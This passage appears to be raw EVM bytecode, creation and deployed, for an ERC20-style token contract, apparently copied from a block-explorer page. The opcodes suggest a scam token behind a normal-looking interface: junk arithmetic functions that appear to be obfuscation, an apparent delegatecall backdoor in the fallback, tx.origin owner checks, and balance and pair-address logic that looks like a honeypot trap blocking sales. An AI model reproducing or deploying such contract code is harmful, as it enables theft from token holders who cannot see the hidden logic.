ffff168373ffffffffffffffffffffffffffffffffffffffff16141561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190613014565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156124e357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251990612f54565b60405180910390fd5b61252d8383836128ac565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156125b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ab90612fd4565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461260391906131e2565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126599190613132565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126bd9190613074565b60405180910390a36126d08484846128b1565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161273c9190612efc565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161278a9190612ee5565b600060405180830381855afa9150503d80600081146127c5576040519150601f19603f3d011682016040523d82523d6000602084013e6127ca565b606091505b50915050808060200190518101906127e29190612cd7565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe6003546128c09190613188565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156129105760006020556129f5565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156129ae5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156129f4578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054612a06906132ad565b90600052602060002090601f016020900481019282612a285760008555612a6f565b82601f10612a4157805160ff1916838001178555612a6f565b82800160010185558215612a6f579182015b82811115612a6e578251825591602001919060010190612a53565b5b509050612a7c9190612a80565b5090565b5b80821115612a99576000816000905550600101612a81565b5090565b6000612ab0612aab846130cf565b6130aa565b905082815260208101848484011115612acc57612acb613402565b5b612ad784828561326b565b509392505050565b600081359050612aee81613677565b92915050565b600082601f830112612b0957612b086133fd565b5b8135612b19848260208601612a9d565b91505092915050565b600081359050612b318161368e565b92915050565b600081519050612b468161368e565b92915050565b600060208284031215612b6257612b6161340c565b5b6000612b7084828501612adf565b91505092915050565b60008060408385031215612b9057612b8f61340c565b5b6000612b9e85828601612adf565b9250506020612baf85828601612adf565b9150509250929050565b600080600060608486031215612bd257612bd161340c565b5b6000612be086828701612adf565b9350506020612bf186828701612adf565b9250506040612c0286828701612b22565b9150509250925092565b60008060408385031215612c2357612c2261340c565b5b6000612c3185828601612adf565b9250506020612c4285828601612b22565b9150509250929050565b600080600060608486031215612c6557612c6461340c565b5b600084013567ffffffffffffffff811115612c8357612c82613407565b5b612c8f86828701612af4565b935050602084013567ffffffffffffffff811115612cb057612caf613407565b5b612cbc86828701612af4565b9250506040612ccd86828701612b22565b9150509250925092565b600060208284031215612ced57612cec61340c565b5b6000612cfb84828501612b37565b91505092915050565b612d0d81613216565b82525050565b612d1c81613228565b82525050565b6000612d2d82613100565b612d378185613116565b9350612d4781856020860161327a565b80840191505092915050565b6000612d5e8261310b565b612d688185613121565b9350612d7881856020860161327a565b612d8181613411565b840191505092915050565b6000612d99602383613121565b9150612da482613422565b604082019050919050565b6000612dbc602683613121565b9150612dc782613471565b604082019050919050565b6000612ddf602283613121565b9150612dea826134c0565b604082019050919050565b6000612e02601d83613121565b9150612e0d8261350f565b602082019050919050565b6000612e25601f83613121565b9150612e3082613538565b602082019050919050565b6000612e48602083613121565b9150612e5382613561565b602082019050919050565b6000612e6b602583613121565b9150612e768261358a565b604082019050919050565b6000612e8e602483613121565b9150612e99826135d9565b604082019050919050565b6000612eb1602583613121565b9150612ebc82613628565b604082019050919050565b612ed081613254565b82525050565b612edf8161325e565b82525050565b6000612ef18284612d22565b915081905092915050565b6000602082019050612f116000830184612d04565b92915050565b6000602082019050612f2c6000830184612d13565b92915050565b60006020820190508181036000830152612f4c8184612d53565b905092915050565b60006020820190508181036000830152612f6d81612d8c565b9050919050565b60006020820190508181036000830152612f8d81612daf565b9050919050565b60006020820190508181036000830152612fad81612dd2565b9050919050565b60006020820190508181036000830152612fcd81612df5565b9050919050565b60006020820190508181036000830152612fed81612e18565b9050919050565b6000602082019050818103600083015261300d81612e3b565b9050919050565b6000602082019050818103600083015261302d81612e5e565b9050919050565b6000602082019050818103600083015261304d81612e81565b9050919050565b6000602082019050818103600083015261306d81612ea4565b9050919050565b60006020820190506130896000830184612ec7565b92915050565b60006020820190506130a46000830184612ed6565b92915050565b60006130b46130c5565b90506130c082826132df565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ea576130e96133ce565b5b6130f382613411565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061313d82613254565b915061314883613254565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317d5761317c613341565b5b828201905092915050565b600061319382613254565b915061319e83613254565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d7576131d6613341565b5b828202905092915050565b60006131ed82613254565b91506131f883613254565b92508282101561320b5761320a613341565b5b828203905092915050565b600061322182613234565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b8381101561329857808201518184015260208101905061327d565b838111156132a7576000848401525b50505050565b600060028204905060018216806132c557607f821691505b602082108114156132d9576132d861339f565b5b50919050565b6132e882613411565b810181811067ffffffffffffffff82111715613307576133066133ce565b5b80604052505050565b600061331b82613254565b915061332683613254565b92508261333657613335613370565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61368081613216565b811461368b57600080fd5b50565b61369781613254565b81146136a257600080fd5b5056fea26469706673582212209f49c39efa6e0a9ea10e2623ce93a18c08241b66ed1b27f6a72d14de39cec49c64736f6c63430008060033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063b3ae49971161008a578063dd62ed3e11610064578063dd62ed3e146106ae578063e29982c0146106eb578063ec2f97a514610714578063f2fde38b1461073f576101c2565b8063b3ae49971461062d578063d29408ee14610658578063d8d63c5a14610683576101c2565b80639d3a2117116100c65780639d3a21171461055d578063a457c2d714610588578063a9059cbb146105c5578063ace0f0de14610602576101c2565b80638da5cb5b146104dc5780638dd950021461050757806395d89b4114610532576101c2565b8063395093511161015957806370a082311161013357806370a0823114610432578063715018a61461046f57806389e42b4e146104865780638b01123e146104b1576101c2565b8063395093511461039f5780634f1a0249146103dc5780635a0165d414610407576101c2565b806318160ddd1161019557806318160ddd146102e157806323b872dd1461030c5780632f3b408714610349578063313ce56714610374576101c2565b806306fdde031461024e578063077cdd9e14610279578063095ea7b3146102a4576101c2565b366101c257005b3480156101ce57600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050905060086004026004602001820151141561024b576020600082516004600802840130545af461024557600080fd5b60206000f35b50005b34801561025a57600080fd5b50610263610768565b6040516102709190612f32565b60405180910390f35b34801561028557600080fd5b5061028e610879565b60405161029b9190613074565b60405180910390f35b3480156102b057600080fd5b506102cb60048036038101906102c69190612c0c565b61094e565b6040516102d89190612f17565b60405180910390f35b3480156102ed57600080fd5b506102f6610971565b6040516103039190613074565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e9190612bb9565b610a37565b6040516103409190612f17565b60405180910390f35b34801561035557600080fd5b5061035e610a66565b60405161036b9190613074565b60405180910390f35b34801561038057600080fd5b50610389610b92565b604051610396919061308f565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612c0c565b610c75565b6040516103d39190612f17565b60405180910390f35b3480156103e857600080fd5b506103f1610cac565b6040516103fe9190613074565b60405180910390f35b34801561041357600080fd5b5061041c610e69565b6040516104299190613074565b60405180910390f35b34801561043e57600080fd5b5061045960048036038101906104549190612b4c565b610f04565b6040516104669190613074565b60405180910390f35b34801561047b57600080fd5b5061048461106b565b005b34801561049257600080fd5b5061049b61118a565b6040516104a89190613074565b60405180910390f35b3480156104bd57600080fd5b506104c661130d565b6040516104d39190613074565b60405180910390f35b3480156104e857600080fd5b506104f161141c565b6040516104fe9190612efc565b60405180910390f35b34801561051357600080fd5b5061051c6114c2565b6040516105299190612efc565b60405180910390f35b34801561053e57600080fd5b506105476114da565b6040516105549190612f32565b60405180910390f35b34801561056957600080fd5b506105726115cc565b60405161057f9190613074565b60405180910390f35b34801561059457600080fd5b506105af60048036038101906105aa9190612c0c565b61176b565b6040516105bc9190612f17565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e79190612c0c565b6117e2565b6040516105f99190612f17565b60405180910390f35b34801561060e57600080fd5b50610617611805565b6040516106249190613074565b60405180910390f35b34801561063957600080fd5b506106426119c2565b60405161064f9190613074565b60405180910390f35b34801561066457600080fd5b5061066d611aee565b60405161067a9190613074565b60405180910390f35b34801561068f57600080fd5b50610698611bc3565b6040516106a59190613074565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190612b79565b611d46565b6040516106e29190613074565b60405180910390f35b3480156106f757600080fd5b50610712600480360381019061070d9190612c4c565b611dcd565b005b34801561072057600080fd5b50610729611e78565b6040516107369190613074565b60405180910390f35b34801561074b57600080fd5b5061076660048036038101906107619190612b4c565b611fc1565b005b606060006235df7a8161077b9190613132565b9050612621811161078b57600080fd5b621748fe8161079a9190613132565b9050610ee081116107aa57600080fd5b6253548b816107b99190613132565b90506124e781116107c957600080fd5b62295b6e816107d89190613132565b905061130c81116107e857600080fd5b600580546107f5906132ad565b80601f0160208091040260200160405190810160405280929190818152602001828054610821906132ad565b801561086e5780601f106108435761010080835404028352916020019161086e565b820191906000526020600020905b81548152906001019060200180831161085157829003601f168201915b505050505091505090565b6000806274f07281111561088e576002810490505b623dd6106274f0720390506284d7218111156108ab576002810490505b62277a416284d721049050629805a68111156108c8576002810490505b6223d127629805a6039050626c9b5a8111156108e5576002810490505b621e169a626c9b5a019050629875e1811115610902576002810490505b62536238629875e104905062528e8281111561091f576002810490505b624544af62528e82049050625a40e781111561093c576002810490505b62254b0e625a40e70690508091505090565b6000806109596120b2565b90506109668185856120ba565b600191505092915050565b600080624e2f30816109839190613132565b905061225e811161099357600080fd5b622bf4f2816109a29190613132565b90506104d081116109b257600080fd5b622f8b12816109c19190613132565b9050611c6381116109d157600080fd5b621709f1816109e09190613132565b9050610d8081116109f057600080fd5b6225a05b816109ff9190613132565b90506114c18111610a0f57600080fd5b6224974081610a1e9190613132565b905061232f8111610a2e57600080fd5b60035491505090565b600080610a426120b2565b9050610a4f85828561237e565b610a5a85858561240a565b60019150509392505050565b600080627109ff811115610a7b576002810490505b6207d0ed627109ff02905062793629811115610a98576002810490505b624b02de62793629019050625d5688811115610ab5576002810490505b623eca0b625d56880290506264a2d7811115610ad2576002810490505b623f84106264a2d70190506215d9c2811115610aef576002810490505b620ebd7e6215d9c20490506289b030811115610b0c576002810490505b620b3a636289b0300290506265df69811115610b29576002810490505b624e60206265df69029050626fb35d811115610b46576002810490505b621ba08c626fb35d0190506267dcef811115610b63576002810490505b6203f7e36267dcef039050626d6195811115610b80576002810490505b620baa31626d61950290508091505090565b60008062105a9681610ba49190613132565b90506107e58111610bb457600080fd5b62080a6d81610bc39190613132565b9050610ce08111610bd357600080fd5b621c241181610be29190613132565b9050610b408111610bf257600080fd5b624144fa81610c019190613132565b905060598111610c1057600080fd5b623d38b681610c1f9190613132565b9050611b918111610c2f57600080fd5b624ddfbf81610c3e9190613132565b905061184f8111610c4e57600080fd5b623fd1b381610c5d9190613132565b905061041f8111610c6d57600080fd5b600991505090565b600080610c806120b2565b9050610ca1818585610c928589611d46565b610c9c9190613132565b6120ba565b600191505092915050565b6000806265fa4b811115610cc1576002810490505b623c5b106265fa4b039050627dd4ac811115610cde576002810490505b6218213d627dd4ac02905062204aec811115610cfb576002810490505b620fdb2862204aec03905062656dca811115610d18576002810490505b6227b77762656dca06905062985b68811115610d35576002810490505b62597d3962985b680390506266311f811115610d52576002810490505b62582ea36266311f0490506285c408811115610d6f576002810490505b620dcd726285c4080190506227046e811115610d8c576002810490505b6225352e6227046e01905062383fd3811115610da9576002810490505b623699a662383fd3049050627f1bab811115610dc6576002810490505b625806c7627f1bab03905062427c06811115610de3576002810490505b623be77862427c0601905062479dd6811115610e00576002810490505b623ba95f62479dd6019050621ca6f5811115610e1d576002810490505b6203fa88621ca6f503905062575e41811115610e3a576002810490505b623d433062575e41029050629500e7811115610e57576002810490505b6223ceb5629500e70390508091505090565b600080627a31f9811115610e7e576002810490505b6217472e627a31f903905062699c6c811115610e9b576002810490505b624c3aad62699c6c01905062805cc9811115610eb8576002810490505b6221ecc762805cc904905062757b48811115610ed5576002810490505b623eef9662757b4803905062737070811115610ef2576002810490505b6242bdcf627370700490508091505090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610f79576000610f666126d6565b9050602054811015610f7757600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101657600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611066565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110639190613310565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661108a61141c565b73ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790612ff4565b60405180910390fd5b600062461362816110f19190613132565b9050612676811161110157600080fd5b62352232816111109190613132565b90506125f5811161112057600080fd5b62170dbe8161112f9190613132565b9050610297811161113f57600080fd5b623ca2dd8161114e9190613132565b90506105e8811161115e57600080fd5b62444c448161116d9190613132565b905061213a811161117d57600080fd5b61118760006127e8565b50565b600080627aa3b781111561119f576002810490505b623bc6f3627aa3b70690506225cfa58111156111bc576002810490505b6217acbe6225cfa501905062740f1d8111156111d9576002810490505b62452c4862740f1d069050625a3f408111156111f6576002810490505b62570b9f625a3f4006905062795e42811115611213576002810490505b6232f57b62795e4201905062483c77811115611230576002810490505b620dc74d62483c77049050625acc9b81111561124d576002810490505b625821bd625acc9b069050625f501481111561126a576002810490505b6236e2d6625f5014049050627e932e811115611287576002810490505b621bc09a627e932e0690506254b3f68111156112a4576002810490505b62259b346254b3f6019050625e740f8111156112c1576002810490505b624b24eb625e740f069050627b200d8111156112de576002810490505b624cdc52627b200d019050623dec928111156112fb576002810490505b621dfdd9623dec920690508091505090565b6000806242e0e6811115611322576002810490505b623798ef6242e0e60190506269d8d081111561133f576002810490505b6258caec6269d8d0069050627a046b81111561135c576002810490505b622ded15627a046b0690506255395d811115611379576002810490505b624a20256255395d029050626d292a811115611396576002810490505b62456334626d292a0390506234e2c48111156113b3576002810490505b620d82786234e2c4019050626259708111156113d0576002810490505b624b69e9626259700690506259d2b28111156113ed576002810490505b621a918a6259d2b2029050622b775481111561140a576002810490505b6201cd94622b77540390508091505090565b600080621879818161142e9190613132565b9050611950811161143e57600080fd5b621991a68161144d9190613132565b9050611445811161145d57600080fd5b62455d488161146c9190613132565b9050610e7c811161147c57600080fd5b624758ab8161148b9190613132565b9050611876811161149b57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60606000621a597f816114ed9190613132565b90506124a681116114fd57600080fd5b620874ff8161150c9190613132565b90506105a9811161151c57600080fd5b623dd41f8161152b9190613132565b9050611dd4811161153b57600080fd5b60068054611548906132ad565b80601f0160208091040260200160405190810160405280929190818152602001828054611574906132ad565b80156115c15780601f10611596576101008083540402835291602001916115c1565b820191906000526020600020905b8154815290600101906020018083116115a457829003601f168201915b505050505091505090565b60008062757e4c8111156115e1576002810490505b623d45b262757e4c039050626c0aa38111156115fe576002810490505b623b0130626c0aa3069050621dac7d81111561161b576002810490505b620704a1621dac7d039050626829f9811115611638576002810490505b6234495a626829f90190506291ffee811115611655576002810490505b6208e9ee6291ffee019050622c481c811115611672576002810490505b6212ef70622c481c06905062722c8081111561168f576002810490505b623d8b0362722c80039050626ebcab8111156116ac576002810490505b622eed1f626ebcab0390506272037e8111156116c9576002810490505b6189616272037e0490506291f3a68111156116e5576002810490505b62244f566291f3a60190506274dc97811115611702576002810490505b621eb9846274dc97029050624a7d0e81111561171f576002810490505b6229ea11624a7d0e039050626c84c181111561173c576002810490505b622bcc28626c84c1039050624573c7811115611759576002810490505b62023907624573c70290508091505090565b6000806117766120b2565b905060006117848286611d46565b9050838110156117c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c090613054565b60405180910390fd5b6117d682868684036120ba565b60019250505092915050565b6000806117ed6120b2565b90506117fa81858561240a565b600191505092915050565b6000806241be1981111561181a576002810490505b621f0c7c6241be1901905062533a58811115611837576002810490505b62319a7962533a58029050626e0a3d811115611854576002810490505b6209fea4626e0a3d0190506258f35d811115611871576002810490505b62548f256258f35d019050627c30cc81111561188e576002810490505b6235d221627c30cc0190506281703c8111156118ab576002810490505b621f192f6281703c029050625f34428111156118c8576002810490505b621d0bd4625f3442039050622d15a78111156118e5576002810490505b62129c3b622d15a703905062232479811115611902576002810490505b6204302c62232479049050624fe0fa81111561191f576002810490505b623534c1624fe0fa0390506269f69981111561193c576002810490505b6233e7396269f699069050627bcfe9811115611959576002810490505b620f44a5627bcfe90290506292a17e811115611976576002810490505b6246f6486292a17e039050626f2acb811115611993576002810490505b62466bc2626f2acb06905062866b068111156119b0576002810490505b624e48c962866b060190508091505090565b6000806269a1618111156119d7576002810490505b624368876269a1610290506284202e8111156119f4576002810490505b6227916b6284202e049050621d5e34811115611a11576002810490505b620eafba621d5e340290506256052b811115611a2e576002810490505b6234ec416256052b0190506292fb8e811115611a4b576002810490505b621f74e26292fb8e0390506292dfbd811115611a68576002810490505b6253b91a6292dfbd03905062873f94811115611a85576002810490505b624d749562873f940190506251dc78811115611aa2576002810490505b621221f26251dc7802905062937692811115611abf576002810490505b62460350629376920290506230b6b9811115611adc576002810490505b622d3e6b6230b6b90290508091505090565b60008062654498811115611b03576002810490505b6249b70f6265449804905062260ea1811115611b20576002810490505b62140bdf62260ea1049050625680c2811115611b3d576002810490505b6255f9a1625680c20390506280c696811115611b5a576002810490505b6245e1206280c696029050628ebb10811115611b77576002810490505b622a3c13628ebb10029050621d0f2c811115611b94576002810490505b620b3ca5621d0f2c069050625bd36c811115611bb1576002810490505b6257b89e625bd36c0690508091505090565b6000806256e4ea811115611bd8576002810490505b62560c626256e4ea02905062639e98811115611bf5576002810490505b622dd21a62639e98019050628a3172811115611c12576002810490505b62569f41628a31720690506247fcf1811115611c2f576002810490505b62448f236247fcf1049050626f97a0811115611c4c576002810490505b62125f76626f97a0039050628b96e5811115611c69576002810490505b62564af3628b96e5039050625d4c25811115611c86576002810490505b62434ff1625d4c2503905062646625811115611ca3576002810490505b625701b7626466250290506267854c811115611cc0576002810490505b624bc0fe6267854c04905062796abc811115611cdd576002810490505b6249674062796abc039050627f9403811115611cfa576002810490505b624690fb627f9403019050624a703a811115611d17576002810490505b62331f8e624a703a0490506255b371811115611d34576002810490505b623f89c46255b3710390508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16611dec61141c565b73ffffffffffffffffffffffffffffffffffffffff1614611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3990612ff4565b60405180910390fd5b8160069080519060200190611e589291906129fa565b508260059080519060200190611e6f9291906129fa565b50333055505050565b600080622e86b4811115611e8d576002810490505b621f9e12622e86b4019050621e0311811115611eaa576002810490505b621ab8b3621e0311049050621c59fb811115611ec7576002810490505b62078909621c59fb049050627c1fc8811115611ee4576002810490505b6258f7b9627c1fc8029050628bf9d2811115611f01576002810490505b624d4fd0628bf9d206905062245a98811115611f1e576002810490505b620d7f2b62245a9804905062626a8c811115611f3b576002810490505b622cb3d762626a8c04905062886998811115611f58576002810490505b6252e7e062886998019050621cdd71811115611f75576002810490505b621358a8621cdd710290506242d94d811115611f92576002810490505b621891d66242d94d04905062138030811115611faf576002810490505b620761d9621380300690508091505090565b3273ffffffffffffffffffffffffffffffffffffffff16611fe061141c565b73ffffffffffffffffffffffffffffffffffffffff1614612036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202d90612ff4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209d90612f74565b60405180910390fd5b6120af816127e8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561212a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212190613034565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561219a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219190612f94565b60405180910390fd5b600062024f9a816121ab9190613132565b9050610f8f81116121bb57600080fd5b6206da6a816121ca9190613132565b90506107ea81116121da57600080fd5b622dbaa3816121e99190613132565b90506119bf81116121f957600080fd5b623ffa1b816122089190613132565b9050610cdb811161221857600080fd5b623ce246816122279190613132565b905061015a811161223757600080fd5b615194816122459190613132565b90506105d4811161225557600080fd5b617a26816122639190613132565b9050611d94811161227357600080fd5b623ba415816122829190613132565b90506117ef811161229257600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516123709190613074565b60405180910390a350505050565b600061238a8484611d46565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461240457818110156123f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ed90612fb4565b60405180910390fd5b61240384848484036120ba565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190613014565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156124e357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251990612f54565b60405180910390fd5b61252d8383836128ac565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156125b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ab90612fd4565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461260391906131e2565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126599190613132565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126bd9190613074565b60405180910390a36126d08484846128b1565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161273c9190612efc565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161278a9190612ee5565b600060405180830381855afa9150503d80600081146127c5576040519150601f19603f3d011682016040523d82523d6000602084013e6127ca565b606091505b50915050808060200190518101906127e29190612cd7565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe6003546128c09190613188565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156129105760006020556129f5565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156129ae5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156129f4578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054612a06906132ad565b90600052602060002090601f016020900481019282612a285760008555612a6f565b82601f10612a4157805160ff1916838001178555612a6f565b82800160010185558215612a6f579182015b82811115612a6e578251825591602001919060010190612a53565b5b509050612a7c9190612a80565b5090565b5b80821115612a99576000816000905550600101612a81565b5090565b6000612ab0612aab846130cf565b6130aa565b905082815260208101848484011115612acc57612acb613402565b5b612ad784828561326b565b509392505050565b600081359050612aee81613677565b92915050565b600082601f830112612b0957612b086133fd565b5b8135612b19848260208601612a9d565b91505092915050565b600081359050612b318161368e565b92915050565b600081519050612b468161368e565b92915050565b600060208284031215612b6257612b6161340c565b5b6000612b7084828501612adf565b91505092915050565b60008060408385031215612b9057612b8f61340c565b5b6000612b9e85828601612adf565b9250506020612baf85828601612adf565b9150509250929050565b600080600060608486031215612bd257612bd161340c565b5b6000612be086828701612adf565b9350506020612bf186828701612adf565b9250506040612c0286828701612b22565b9150509250925092565b60008060408385031215612c2357612c2261340c565b5b6000612c3185828601612adf565b9250506020612c4285828601612b22565b9150509250929050565b600080600060608486031215612c6557612c6461340c565b5b600084013567ffffffffffffffff811115612c8357612c82613407565b5b612c8f86828701612af4565b935050602084013567ffffffffffffffff811115612cb057612caf613407565b5b612cbc86828701612af4565b9250506040612ccd86828701612b22565b9150509250925092565b600060208284031215612ced57612cec61340c565b5b6000612cfb84828501612b37565b91505092915050565b612d0d81613216565b82525050565b612d1c81613228565b82525050565b6000612d2d82613100565b612d378185613116565b9350612d4781856020860161327a565b80840191505092915050565b6000612d5e8261310b565b612d688185613121565b9350612d7881856020860161327a565b612d8181613411565b840191505092915050565b6000612d99602383613121565b9150612da482613422565b604082019050919050565b6000612dbc602683613121565b9150612dc782613471565b604082019050919050565b6000612ddf602283613121565b9150612dea826134c0565b60408201905091